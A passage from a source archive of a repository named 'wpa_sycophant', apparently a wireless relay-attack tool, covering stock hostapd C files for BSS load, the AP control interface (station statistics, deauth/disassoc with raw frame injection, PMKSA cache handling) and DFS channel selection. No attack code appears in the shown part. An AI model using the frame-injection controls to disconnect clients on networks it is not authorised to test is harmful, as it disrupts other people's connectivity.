(iface->chan_util_num_sample_periods / hapd->conf->bss_load_update_period); iface->chan_util_samples_sum = 0; iface->chan_util_num_sample_periods = 0; } } eloop_register_timeout(sec, usec, update_channel_utilization, hapd, NULL); } int bss_load_update_init(struct hostapd_data *hapd) { unsigned int sec, usec; if (get_bss_load_update_timeout(hapd, &sec, &usec) < 0) return -1; eloop_register_timeout(sec, usec, update_channel_utilization, hapd, NULL); return 0; } void bss_load_update_deinit(struct hostapd_data *hapd) { eloop_cancel_timeout(update_channel_utilization, hapd, NULL); } wpa_sycophant-master/src/ap/bss_load.h000066400000000000000000000005701377436615100203730ustar00rootroot00000000000000/* * BSS load update * Copyright (c) 2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef BSS_LOAD_UPDATE_H #define BSS_LOAD_UPDATE_H int bss_load_update_init(struct hostapd_data *hapd); void bss_load_update_deinit(struct hostapd_data *hapd); #endif /* BSS_LOAD_UPDATE_H */ wpa_sycophant-master/src/ap/ctrl_iface_ap.c000066400000000000000000000601171377436615100213560ustar00rootroot00000000000000/* * Control interface for shared AP commands * Copyright (c) 2004-2014, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "common/sae.h" #include "eapol_auth/eapol_auth_sm.h" #include "fst/fst_ctrl_iface.h" #include "hostapd.h" #include "ieee802_1x.h" #include "wpa_auth.h" #include "ieee802_11.h" #include "sta_info.h" #include "wps_hostapd.h" #include "p2p_hostapd.h" #include "ctrl_iface_ap.h" #include "ap_drv_ops.h" #include "mbo_ap.h" #include "taxonomy.h" static size_t hostapd_write_ht_mcs_bitmask(char *buf, size_t buflen, size_t curr_len, const u8 *mcs_set) { int ret; size_t len = curr_len; ret = os_snprintf(buf + len, buflen - len, "ht_mcs_bitmask="); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; /* 77 first bits (+ 3 reserved bits) */ len += wpa_snprintf_hex(buf + len, buflen - len, mcs_set, 10); ret = os_snprintf(buf + len, buflen - len, "\n"); if (os_snprintf_error(buflen - len, ret)) return curr_len; len += ret; return len; } static int hostapd_get_sta_tx_rx(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen) { struct hostap_sta_driver_data data; int ret; int len = 0; if (hostapd_drv_read_sta_data(hapd, &data, sta->addr) < 0) return 0; ret = os_snprintf(buf, buflen, "rx_packets=%lu\ntx_packets=%lu\n" "rx_bytes=%llu\ntx_bytes=%llu\ninactive_msec=%lu\n" "signal=%d\n", data.rx_packets, data.tx_packets, data.rx_bytes, data.tx_bytes, data.inactive_msec, data.signal); if (os_snprintf_error(buflen, ret)) return 0; len += ret; ret = os_snprintf(buf + len, buflen - len, "rx_rate_info=%lu", data.current_rx_rate); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; if (data.flags & STA_DRV_DATA_RX_MCS) { ret = os_snprintf(buf + len, buflen - len, " mcs %u", data.rx_mcs); if (!os_snprintf_error(buflen - len, ret)) len += ret; } if (data.flags & STA_DRV_DATA_RX_VHT_MCS) { ret = os_snprintf(buf + len, buflen - len, " vhtmcs %u", data.rx_vhtmcs); if (!os_snprintf_error(buflen - len, ret)) len += ret; } if (data.flags & STA_DRV_DATA_RX_VHT_NSS) { ret = os_snprintf(buf + len, buflen - len, " vhtnss %u", data.rx_vht_nss); if (!os_snprintf_error(buflen - len, ret)) len += ret; } if (data.flags & STA_DRV_DATA_RX_SHORT_GI) { ret = os_snprintf(buf + len, buflen - len, " shortGI"); if (!os_snprintf_error(buflen - len, ret)) len += ret; } ret = os_snprintf(buf + len, buflen - len, "\n"); if (!os_snprintf_error(buflen - len, ret)) len += ret; ret = os_snprintf(buf + len, buflen - len, "tx_rate_info=%lu", data.current_tx_rate); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; if (data.flags & STA_DRV_DATA_TX_MCS) { ret = os_snprintf(buf + len, buflen - len, " mcs %u", data.tx_mcs); if (!os_snprintf_error(buflen - len, ret)) len += ret; } if (data.flags & STA_DRV_DATA_TX_VHT_MCS) { ret = os_snprintf(buf + len, buflen - len, " vhtmcs %u", data.tx_vhtmcs); if (!os_snprintf_error(buflen - len, ret)) len += ret; } if (data.flags & STA_DRV_DATA_TX_VHT_NSS) { ret = os_snprintf(buf + len, buflen - len, " vhtnss %u", data.tx_vht_nss); if (!os_snprintf_error(buflen - len, ret)) len += ret; } if (data.flags & STA_DRV_DATA_TX_SHORT_GI) { ret = os_snprintf(buf + len, buflen - len, " shortGI"); if (!os_snprintf_error(buflen - len, ret)) len += ret; } ret = os_snprintf(buf + len, buflen - len, "\n"); if (!os_snprintf_error(buflen - len, ret)) len += ret; if ((sta->flags & WLAN_STA_VHT) && sta->vht_capabilities) { ret = os_snprintf(buf + len, buflen - len, "rx_vht_mcs_map=%04x\n" "tx_vht_mcs_map=%04x\n", le_to_host16(sta->vht_capabilities-> vht_supported_mcs_set.rx_map), le_to_host16(sta->vht_capabilities-> vht_supported_mcs_set.tx_map)); if (!os_snprintf_error(buflen - len, ret)) len += ret; } if ((sta->flags & WLAN_STA_HT) && sta->ht_capabilities) { len = hostapd_write_ht_mcs_bitmask(buf, buflen, len, sta->ht_capabilities-> supported_mcs_set); } if (data.flags & STA_DRV_DATA_LAST_ACK_RSSI) { ret = os_snprintf(buf + len, buflen - len, "last_ack_signal=%d\n", data.last_ack_rssi); if (!os_snprintf_error(buflen - len, ret)) len += ret; } return len; } static int hostapd_get_sta_conn_time(struct sta_info *sta, char *buf, size_t buflen) { struct os_reltime age; int ret; if (!sta->connected_time.sec) return 0; os_reltime_age(&sta->connected_time, &age); ret = os_snprintf(buf, buflen, "connected_time=%u\n", (unsigned int) age.sec); if (os_snprintf_error(buflen, ret)) return 0; return ret; } static const char * timeout_next_str(int val) { switch (val) { case STA_NULLFUNC: return "NULLFUNC POLL"; case STA_DISASSOC: return "DISASSOC"; case STA_DEAUTH: return "DEAUTH"; case STA_REMOVE: return "REMOVE"; case STA_DISASSOC_FROM_CLI: return "DISASSOC_FROM_CLI"; } return "?"; } static int hostapd_ctrl_iface_sta_mib(struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen) { int len, res, ret, i; if (!sta) return 0; len = 0; ret = os_snprintf(buf + len, buflen - len, MACSTR "\nflags=", MAC2STR(sta->addr)); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; ret = ap_sta_flags_txt(sta->flags, buf + len, buflen - len); if (ret < 0) return len; len += ret; ret = os_snprintf(buf + len, buflen - len, "\naid=%d\ncapability=0x%x\n" "listen_interval=%d\nsupported_rates=", sta->aid, sta->capability, sta->listen_interval); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; for (i = 0; i < sta->supported_rates_len; i++) { ret = os_snprintf(buf + len, buflen - len, "%02x%s", sta->supported_rates[i], i + 1 < sta->supported_rates_len ? " " : ""); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; } ret = os_snprintf(buf + len, buflen - len, "\ntimeout_next=%s\n", timeout_next_str(sta->timeout_next)); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; res = ieee802_11_get_mib_sta(hapd, sta, buf + len, buflen - len); if (res >= 0) len += res; res = wpa_get_mib_sta(sta->wpa_sm, buf + len, buflen - len); if (res >= 0) len += res; res = ieee802_1x_get_mib_sta(hapd, sta, buf + len, buflen - len); if (res >= 0) len += res; res = hostapd_wps_get_mib_sta(hapd, sta->addr, buf + len, buflen - len); if (res >= 0) len += res; res = hostapd_p2p_get_mib_sta(hapd, sta, buf + len, buflen - len); if (res >= 0) len += res; len += hostapd_get_sta_tx_rx(hapd, sta, buf + len, buflen - len); len += hostapd_get_sta_conn_time(sta, buf + len, buflen - len); #ifdef CONFIG_SAE if (sta->sae && sta->sae->state == SAE_ACCEPTED) { res = os_snprintf(buf + len, buflen - len, "sae_group=%d\n", sta->sae->group); if (!os_snprintf_error(buflen - len, res)) len += res; } #endif /* CONFIG_SAE */ if (sta->vlan_id > 0) { res = os_snprintf(buf + len, buflen - len, "vlan_id=%d\n", sta->vlan_id); if (!os_snprintf_error(buflen - len, res)) len += res; } res = mbo_ap_get_info(sta, buf + len, buflen - len); if (res >= 0) len += res; if (sta->supp_op_classes && buflen - len > (unsigned) (17 + 2 * sta->supp_op_classes[0])) { len += os_snprintf(buf + len, buflen - len, "supp_op_classes="); len += wpa_snprintf_hex(buf + len, buflen - len, sta->supp_op_classes + 1, sta->supp_op_classes[0]); len += os_snprintf(buf + len, buflen - len, "\n"); } if (sta->power_capab) { ret = os_snprintf(buf + len, buflen - len, "min_txpower=%d\n" "max_txpower=%d\n", sta->min_tx_power, sta->max_tx_power); if (!os_snprintf_error(buflen - len, ret)) len += ret; } #ifdef CONFIG_IEEE80211AC if ((sta->flags & WLAN_STA_VHT) && sta->vht_capabilities) { res = os_snprintf(buf + len, buflen - len, "vht_caps_info=0x%08x\n", le_to_host32(sta->vht_capabilities-> vht_capabilities_info)); if (!os_snprintf_error(buflen - len, res)) len += res; } #endif /* CONFIG_IEEE80211AC */ #ifdef CONFIG_IEEE80211N if ((sta->flags & WLAN_STA_HT) && sta->ht_capabilities) { res = os_snprintf(buf + len, buflen - len, "ht_caps_info=0x%04x\n", le_to_host16(sta->ht_capabilities-> ht_capabilities_info)); if (!os_snprintf_error(buflen - len, res)) len += res; } #endif /* CONFIG_IEEE80211N */ if (sta->ext_capability && buflen - len > (unsigned) (11 + 2 * sta->ext_capability[0])) { len += os_snprintf(buf + len, buflen - len, "ext_capab="); len += wpa_snprintf_hex(buf + len, buflen - len, sta->ext_capability + 1, sta->ext_capability[0]); len += os_snprintf(buf + len, buflen - len, "\n"); } if (sta->flags & WLAN_STA_WDS && sta->ifname_wds) { ret = os_snprintf(buf + len, buflen - len, "wds_sta_ifname=%s\n", sta->ifname_wds); if (!os_snprintf_error(buflen - len, ret)) len += ret; } return len; } int hostapd_ctrl_iface_sta_first(struct hostapd_data *hapd, char *buf, size_t buflen) { return hostapd_ctrl_iface_sta_mib(hapd, hapd->sta_list, buf, buflen); } int hostapd_ctrl_iface_sta(struct hostapd_data *hapd, const char *txtaddr, char *buf, size_t buflen) { u8 addr[ETH_ALEN]; int ret; const char *pos; struct sta_info *sta; if (hwaddr_aton(txtaddr, addr)) { ret = os_snprintf(buf, buflen, "FAIL\n"); if (os_snprintf_error(buflen, ret)) return 0; return ret; } sta = ap_get_sta(hapd, addr); if (sta == NULL) return -1; pos = os_strchr(txtaddr, ' '); if (pos) { pos++; #ifdef HOSTAPD_DUMP_STATE if (os_strcmp(pos, "eapol") == 0) { if (sta->eapol_sm == NULL) return -1; return eapol_auth_dump_state(sta->eapol_sm, buf, buflen); } #endif /* HOSTAPD_DUMP_STATE */ return -1; } ret = hostapd_ctrl_iface_sta_mib(hapd, sta, buf, buflen); ret += fst_ctrl_iface_mb_info(addr, buf + ret, buflen - ret); return ret; } int hostapd_ctrl_iface_sta_next(struct hostapd_data *hapd, const char *txtaddr, char *buf, size_t buflen) { u8 addr[ETH_ALEN]; struct sta_info *sta; int ret; if (hwaddr_aton(txtaddr, addr) || (sta = ap_get_sta(hapd, addr)) == NULL) { ret = os_snprintf(buf, buflen, "FAIL\n"); if (os_snprintf_error(buflen, ret)) return 0; return ret; } if (!sta->next) return 0; return hostapd_ctrl_iface_sta_mib(hapd, sta->next, buf, buflen); } #ifdef CONFIG_P2P_MANAGER static int p2p_manager_disconnect(struct hostapd_data *hapd, u16 stype, u8 minor_reason_code, const u8 *addr) { struct ieee80211_mgmt *mgmt; int ret; u8 *pos; if (!hapd->drv_priv || !hapd->driver->send_frame) return -1; mgmt = os_zalloc(sizeof(*mgmt) + 100); if (mgmt == NULL) return -1; mgmt->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, stype); wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "P2P: Disconnect STA " MACSTR " with minor reason code %u (stype=%u (%s))", MAC2STR(addr), minor_reason_code, stype, fc2str(le_to_host16(mgmt->frame_control))); os_memcpy(mgmt->da, addr, ETH_ALEN); os_memcpy(mgmt->sa, hapd->own_addr, ETH_ALEN); os_memcpy(mgmt->bssid, hapd->own_addr, ETH_ALEN); if (stype == WLAN_FC_STYPE_DEAUTH) { mgmt->u.deauth.reason_code = host_to_le16(WLAN_REASON_PREV_AUTH_NOT_VALID); pos = (u8 *) (&mgmt->u.deauth.reason_code + 1); } else { mgmt->u.disassoc.reason_code = host_to_le16(WLAN_REASON_PREV_AUTH_NOT_VALID); pos = (u8 *) (&mgmt->u.disassoc.reason_code + 1); } *pos++ = WLAN_EID_VENDOR_SPECIFIC; *pos++ = 4 + 3 + 1; WPA_PUT_BE32(pos, P2P_IE_VENDOR_TYPE); pos += 4; *pos++ = P2P_ATTR_MINOR_REASON_CODE; WPA_PUT_LE16(pos, 1); pos += 2; *pos++ = minor_reason_code; ret = hapd->driver->send_frame(hapd->drv_priv, (u8 *) mgmt, pos - (u8 *) mgmt, 1); os_free(mgmt); return ret < 0 ? -1 : 0; } #endif /* CONFIG_P2P_MANAGER */ int hostapd_ctrl_iface_deauthenticate(struct hostapd_data *hapd, const char *txtaddr) { u8 addr[ETH_ALEN]; struct sta_info *sta; const char *pos; u16 reason = WLAN_REASON_PREV_AUTH_NOT_VALID; wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "CTRL_IFACE DEAUTHENTICATE %s", txtaddr); if (hwaddr_aton(txtaddr, addr)) return -1; pos = os_strstr(txtaddr, " reason="); if (pos) reason = atoi(pos + 8); pos = os_strstr(txtaddr, " test="); if (pos) { struct ieee80211_mgmt mgmt; int encrypt; if (!hapd->drv_priv || !hapd->driver->send_frame) return -1; pos += 6; encrypt = atoi(pos); os_memset(&mgmt, 0, sizeof(mgmt)); mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_DEAUTH); os_memcpy(mgmt.da, addr, ETH_ALEN); os_memcpy(mgmt.sa, hapd->own_addr, ETH_ALEN); os_memcpy(mgmt.bssid, hapd->own_addr, ETH_ALEN); mgmt.u.deauth.reason_code = host_to_le16(reason); if (hapd->driver->send_frame(hapd->drv_priv, (u8 *) &mgmt, IEEE80211_HDRLEN + sizeof(mgmt.u.deauth), encrypt) < 0) return -1; return 0; } #ifdef CONFIG_P2P_MANAGER pos = os_strstr(txtaddr, " p2p="); if (pos) { return p2p_manager_disconnect(hapd, WLAN_FC_STYPE_DEAUTH, atoi(pos + 5), addr); } #endif /* CONFIG_P2P_MANAGER */ if (os_strstr(txtaddr, " tx=0")) hostapd_drv_sta_remove(hapd, addr); else hostapd_drv_sta_deauth(hapd, addr, reason); sta = ap_get_sta(hapd, addr); if (sta) ap_sta_deauthenticate(hapd, sta, reason); else if (addr[0] == 0xff) hostapd_free_stas(hapd); return 0; } int hostapd_ctrl_iface_disassociate(struct hostapd_data *hapd, const char *txtaddr) { u8 addr[ETH_ALEN]; struct sta_info *sta; const char *pos; u16 reason = WLAN_REASON_PREV_AUTH_NOT_VALID; wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "CTRL_IFACE DISASSOCIATE %s", txtaddr); if (hwaddr_aton(txtaddr, addr)) return -1; pos = os_strstr(txtaddr, " reason="); if (pos) reason = atoi(pos + 8); pos = os_strstr(txtaddr, " test="); if (pos) { struct ieee80211_mgmt mgmt; int encrypt; if (!hapd->drv_priv || !hapd->driver->send_frame) return -1; pos += 6; encrypt = atoi(pos); os_memset(&mgmt, 0, sizeof(mgmt)); mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_DISASSOC); os_memcpy(mgmt.da, addr, ETH_ALEN); os_memcpy(mgmt.sa, hapd->own_addr, ETH_ALEN); os_memcpy(mgmt.bssid, hapd->own_addr, ETH_ALEN); mgmt.u.disassoc.reason_code = host_to_le16(reason); if (hapd->driver->send_frame(hapd->drv_priv, (u8 *) &mgmt, IEEE80211_HDRLEN + sizeof(mgmt.u.deauth), encrypt) < 0) return -1; return 0; } #ifdef CONFIG_P2P_MANAGER pos = os_strstr(txtaddr, " p2p="); if (pos) { return p2p_manager_disconnect(hapd, WLAN_FC_STYPE_DISASSOC, atoi(pos + 5), addr); } #endif /* CONFIG_P2P_MANAGER */ if (os_strstr(txtaddr, " tx=0")) hostapd_drv_sta_remove(hapd, addr); else hostapd_drv_sta_disassoc(hapd, addr, reason); sta = ap_get_sta(hapd, addr); if (sta) ap_sta_disassociate(hapd, sta, reason); else if (addr[0] == 0xff) hostapd_free_stas(hapd); return 0; } #ifdef CONFIG_TAXONOMY int hostapd_ctrl_iface_signature(struct hostapd_data *hapd, const char *txtaddr, char *buf, size_t buflen) { u8 addr[ETH_ALEN]; struct sta_info *sta; wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "CTRL_IFACE SIGNATURE %s", txtaddr); if (hwaddr_aton(txtaddr, addr)) return -1; sta = ap_get_sta(hapd, addr); if (!sta) return -1; return retrieve_sta_taxonomy(hapd, sta, buf, buflen); } #endif /* CONFIG_TAXONOMY */ int hostapd_ctrl_iface_poll_sta(struct hostapd_data *hapd, const char *txtaddr) { u8 addr[ETH_ALEN]; struct sta_info *sta; wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "CTRL_IFACE POLL_STA %s", txtaddr); if (hwaddr_aton(txtaddr, addr)) return -1; sta = ap_get_sta(hapd, addr); if (!sta) return -1; hostapd_drv_poll_client(hapd, hapd->own_addr, addr, sta->flags & WLAN_STA_WMM); return 0; } int hostapd_ctrl_iface_status(struct hostapd_data *hapd, char *buf, size_t buflen) { struct hostapd_iface *iface = hapd->iface; struct hostapd_hw_modes *mode = iface->current_mode; int len = 0, ret, j; size_t i; ret = os_snprintf(buf + len, buflen - len, "state=%s\n" "phy=%s\n" "freq=%d\n" "num_sta_non_erp=%d\n" "num_sta_no_short_slot_time=%d\n" "num_sta_no_short_preamble=%d\n" "olbc=%d\n" "num_sta_ht_no_gf=%d\n" "num_sta_no_ht=%d\n" "num_sta_ht_20_mhz=%d\n" "num_sta_ht40_intolerant=%d\n" "olbc_ht=%d\n" "ht_op_mode=0x%x\n", hostapd_state_text(iface->state), iface->phy, iface->freq, iface->num_sta_non_erp, iface->num_sta_no_short_slot_time, iface->num_sta_no_short_preamble, iface->olbc, iface->num_sta_ht_no_gf, iface->num_sta_no_ht, iface->num_sta_ht_20mhz, iface->num_sta_ht40_intolerant, iface->olbc_ht, iface->ht_op_mode); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; if (!iface->cac_started || !iface->dfs_cac_ms) { ret = os_snprintf(buf + len, buflen - len, "cac_time_seconds=%d\n" "cac_time_left_seconds=N/A\n", iface->dfs_cac_ms / 1000); } else { /* CAC started and CAC time set - calculate remaining time */ struct os_reltime now; unsigned int left_time; os_reltime_age(&iface->dfs_cac_start, &now); left_time = iface->dfs_cac_ms / 1000 - now.sec; ret = os_snprintf(buf + len, buflen - len, "cac_time_seconds=%u\n" "cac_time_left_seconds=%u\n", iface->dfs_cac_ms / 1000, left_time); } if (os_snprintf_error(buflen - len, ret)) return len; len += ret; ret = os_snprintf(buf + len, buflen - len, "channel=%u\n" "secondary_channel=%d\n" "ieee80211n=%d\n" "ieee80211ac=%d\n" "beacon_int=%u\n" "dtim_period=%d\n", iface->conf->channel, iface->conf->ieee80211n && !hapd->conf->disable_11n ? iface->conf->secondary_channel : 0, iface->conf->ieee80211n && !hapd->conf->disable_11n, iface->conf->ieee80211ac && !hapd->conf->disable_11ac, iface->conf->beacon_int, hapd->conf->dtim_period); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; if (iface->conf->ieee80211ac && !hapd->conf->disable_11ac) { ret = os_snprintf(buf + len, buflen - len, "vht_oper_chwidth=%d\n" "vht_oper_centr_freq_seg0_idx=%d\n" "vht_oper_centr_freq_seg1_idx=%d\n" "vht_caps_info=%08x\n", iface->conf->vht_oper_chwidth, iface->conf->vht_oper_centr_freq_seg0_idx, iface->conf->vht_oper_centr_freq_seg1_idx, iface->conf->vht_capab); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; } if (iface->conf->ieee80211ac && !hapd->conf->disable_11ac && mode) { u16 rxmap = WPA_GET_LE16(&mode->vht_mcs_set[0]); u16 txmap = WPA_GET_LE16(&mode->vht_mcs_set[4]); ret = os_snprintf(buf + len, buflen - len, "rx_vht_mcs_map=%04x\n" "tx_vht_mcs_map=%04x\n", rxmap, txmap); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; } if (iface->conf->ieee80211n && !hapd->conf->disable_11n) { ret = os_snprintf(buf + len, buflen - len, "ht_caps_info=%04x\n", hapd->iconf->ht_capab); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; } if (iface->conf->ieee80211n && !hapd->conf->disable_11n && mode) { len = hostapd_write_ht_mcs_bitmask(buf, buflen, len, mode->mcs_set); } if (iface->current_rates && iface->num_rates) { ret = os_snprintf(buf + len, buflen - len, "supported_rates="); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; for (j = 0; j < iface->num_rates; j++) { ret = os_snprintf(buf + len, buflen - len, "%s%02x", j > 0 ? " " : "", iface->current_rates[j].rate / 5); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; } ret = os_snprintf(buf + len, buflen - len, "\n"); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; } for (j = 0; mode && j < mode->num_channels; j++) { if (mode->channels[j].freq == iface->freq) { ret = os_snprintf(buf + len, buflen - len, "max_txpower=%u\n", mode->channels[j].max_tx_power); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; break; } } for (i = 0; i < iface->num_bss; i++) { struct hostapd_data *bss = iface->bss[i]; ret = os_snprintf(buf + len, buflen - len, "bss[%d]=%s\n" "bssid[%d]=" MACSTR "\n" "ssid[%d]=%s\n" "num_sta[%d]=%d\n", (int) i, bss->conf->iface, (int) i, MAC2STR(bss->own_addr), (int) i, wpa_ssid_txt(bss->conf->ssid.ssid, bss->conf->ssid.ssid_len), (int) i, bss->num_sta); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; } if (hapd->conf->chan_util_avg_period) { ret = os_snprintf(buf + len, buflen - len, "chan_util_avg=%u\n", iface->chan_util_average); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; } return len; } int hostapd_parse_csa_settings(const char *pos, struct csa_settings *settings) { char *end; os_memset(settings, 0, sizeof(*settings)); settings->cs_count = strtol(pos, &end, 10); if (pos == end) { wpa_printf(MSG_ERROR, "chanswitch: invalid cs_count provided"); return -1; } settings->freq_params.freq = atoi(end); if (settings->freq_params.freq == 0) { wpa_printf(MSG_ERROR, "chanswitch: invalid freq provided"); return -1; } #define SET_CSA_SETTING(str) \ do { \ const char *pos2 = os_strstr(pos, " " #str "="); \ if (pos2) { \ pos2 += sizeof(" " #str "=") - 1; \ settings->freq_params.str = atoi(pos2); \ } \ } while (0) SET_CSA_SETTING(center_freq1); SET_CSA_SETTING(center_freq2); SET_CSA_SETTING(bandwidth); SET_CSA_SETTING(sec_channel_offset); settings->freq_params.ht_enabled = !!os_strstr(pos, " ht"); settings->freq_params.vht_enabled = !!os_strstr(pos, " vht"); settings->block_tx = !!os_strstr(pos, " blocktx"); #undef SET_CSA_SETTING return 0; } int hostapd_ctrl_iface_stop_ap(struct hostapd_data *hapd) { return hostapd_drv_stop_ap(hapd); } int hostapd_ctrl_iface_pmksa_list(struct hostapd_data *hapd, char *buf, size_t len) { return wpa_auth_pmksa_list(hapd->wpa_auth, buf, len); } void hostapd_ctrl_iface_pmksa_flush(struct hostapd_data *hapd) { wpa_auth_pmksa_flush(hapd->wpa_auth); } int hostapd_ctrl_iface_pmksa_add(struct hostapd_data *hapd, char *cmd) { u8 spa[ETH_ALEN]; u8 pmkid[PMKID_LEN]; u8 pmk[PMK_LEN_MAX]; size_t pmk_len; char *pos, *pos2; int akmp = 0, expiration = 0; /* * Entry format: * */ if (hwaddr_aton(cmd, spa)) return -1; pos = os_strchr(cmd, ' '); if (!pos) return -1; pos++; if (hexstr2bin(pos, pmkid, PMKID_LEN) < 0) return -1; pos = os_strchr(pos, ' '); if (!pos) return -1; pos++; pos2 = os_strchr(pos, ' '); if (!pos2) return -1; pmk_len = (pos2 - pos) / 2; if (pmk_len < PMK_LEN || pmk_len > PMK_LEN_MAX || hexstr2bin(pos, pmk, pmk_len) < 0) return -1; pos = pos2 + 1; if (sscanf(pos, "%d %d", &expiration, &akmp) != 2) return -1; return wpa_auth_pmksa_add2(hapd->wpa_auth, spa, pmk, pmk_len, pmkid, expiration, akmp); } #ifdef CONFIG_PMKSA_CACHE_EXTERNAL #ifdef CONFIG_MESH int hostapd_ctrl_iface_pmksa_list_mesh(struct hostapd_data *hapd, const u8 *addr, char *buf, size_t len) { return wpa_auth_pmksa_list_mesh(hapd->wpa_auth, addr, buf, len); } void * hostapd_ctrl_iface_pmksa_create_entry(const u8 *aa, char *cmd) { u8 spa[ETH_ALEN]; u8 pmkid[PMKID_LEN]; u8 pmk[PMK_LEN_MAX]; char *pos; int expiration; /* * Entry format: * */ if (hwaddr_aton(cmd, spa)) return NULL; pos = os_strchr(cmd, ' '); if (!pos) return NULL; pos++; if (hexstr2bin(pos, pmkid, PMKID_LEN) < 0) return NULL; pos = os_strchr(pos, ' '); if (!pos) return NULL; pos++; if (hexstr2bin(pos, pmk, PMK_LEN) < 0) return NULL; pos = os_strchr(pos, ' '); if (!pos) return NULL; pos++; if (sscanf(pos, "%d", &expiration) != 1) return NULL; return wpa_auth_pmksa_create_entry(aa, spa, pmk, pmkid, expiration); } #endif /* CONFIG_MESH */ #endif /* CONFIG_PMKSA_CACHE_EXTERNAL */ wpa_sycophant-master/src/ap/ctrl_iface_ap.h000066400000000000000000000031631377436615100213610ustar00rootroot00000000000000/* * Control interface for shared AP commands * Copyright (c) 2004-2013, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef CTRL_IFACE_AP_H #define CTRL_IFACE_AP_H int hostapd_ctrl_iface_sta_first(struct hostapd_data *hapd, char *buf, size_t buflen); int hostapd_ctrl_iface_sta(struct hostapd_data *hapd, const char *txtaddr, char *buf, size_t buflen); int hostapd_ctrl_iface_sta_next(struct hostapd_data *hapd, const char *txtaddr, char *buf, size_t buflen); int hostapd_ctrl_iface_deauthenticate(struct hostapd_data *hapd, const char *txtaddr); int hostapd_ctrl_iface_disassociate(struct hostapd_data *hapd, const char *txtaddr); int hostapd_ctrl_iface_signature(struct hostapd_data *hapd, const char *txtaddr, char *buf, size_t buflen); int hostapd_ctrl_iface_poll_sta(struct hostapd_data *hapd, const char *txtaddr); int hostapd_ctrl_iface_status(struct hostapd_data *hapd, char *buf, size_t buflen); int hostapd_parse_csa_settings(const char *pos, struct csa_settings *settings); int hostapd_ctrl_iface_stop_ap(struct hostapd_data *hapd); int hostapd_ctrl_iface_pmksa_list(struct hostapd_data *hapd, char *buf, size_t len); void hostapd_ctrl_iface_pmksa_flush(struct hostapd_data *hapd); int hostapd_ctrl_iface_pmksa_add(struct hostapd_data *hapd, char *cmd); int hostapd_ctrl_iface_pmksa_list_mesh(struct hostapd_data *hapd, const u8 *addr, char *buf, size_t len); void * hostapd_ctrl_iface_pmksa_create_entry(const u8 *aa, char *cmd); #endif /* CTRL_IFACE_AP_H */ wpa_sycophant-master/src/ap/dfs.c000066400000000000000000000713031377436615100173560ustar00rootroot00000000000000/* * DFS - Dynamic Frequency Selection * Copyright (c) 2002-2013, Jouni Malinen * Copyright (c) 2013-2017, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "common/hw_features_common.h" #include "common/wpa_ctrl.h" #include "hostapd.h" #include "ap_drv_ops.h" #include "drivers/driver.h" #include "dfs.h" static int dfs_get_used_n_chans(struct hostapd_iface *iface, int *seg1) { int n_chans = 1; *seg1 = 0; if (iface->conf->ieee80211n && iface->conf->secondary_channel) n_chans = 2; if (iface->conf->ieee80211ac) { switch (iface->conf->vht_oper_chwidth) { case VHT_CHANWIDTH_USE_HT: break; case VHT_CHANWIDTH_80MHZ: n_chans = 4; break; case VHT_CHANWIDTH_160MHZ: n_chans = 8; break; case VHT_CHANWIDTH_80P80MHZ: n_chans = 4; *seg1 = 4; break; default: break; } } return n_chans; } static int dfs_channel_available(struct hostapd_channel_data *chan, int skip_radar) { /* * When radar detection happens, CSA is performed. However, there's no * time for CAC, so radar channels must be skipped when finding a new * channel for CSA, unless they are available for immediate use. */ if (skip_radar && (chan->flag & HOSTAPD_CHAN_RADAR) && ((chan->flag & HOSTAPD_CHAN_DFS_MASK) != HOSTAPD_CHAN_DFS_AVAILABLE)) return 0; if (chan->flag & HOSTAPD_CHAN_DISABLED) return 0; if ((chan->flag & HOSTAPD_CHAN_RADAR) && ((chan->flag & HOSTAPD_CHAN_DFS_MASK) == HOSTAPD_CHAN_DFS_UNAVAILABLE)) return 0; return 1; } static int dfs_is_chan_allowed(struct hostapd_channel_data *chan, int n_chans) { /* * The tables contain first valid channel number based on channel width. * We will also choose this first channel as the control one. */ int allowed_40[] = { 36, 44, 52, 60, 100, 108, 116, 124, 132, 149, 157, 184, 192 }; /* * VHT80, valid channels based on center frequency: * 42, 58, 106, 122, 138, 155 */ int allowed_80[] = { 36, 52, 100, 116, 132, 149 }; /* * VHT160 valid channels based on center frequency: * 50, 114 */ int allowed_160[] = { 36, 100 }; int *allowed = allowed_40; unsigned int i, allowed_no = 0; switch (n_chans) { case 2: allowed = allowed_40; allowed_no = ARRAY_SIZE(allowed_40); break; case 4: allowed = allowed_80; allowed_no = ARRAY_SIZE(allowed_80); break; case 8: allowed = allowed_160; allowed_no = 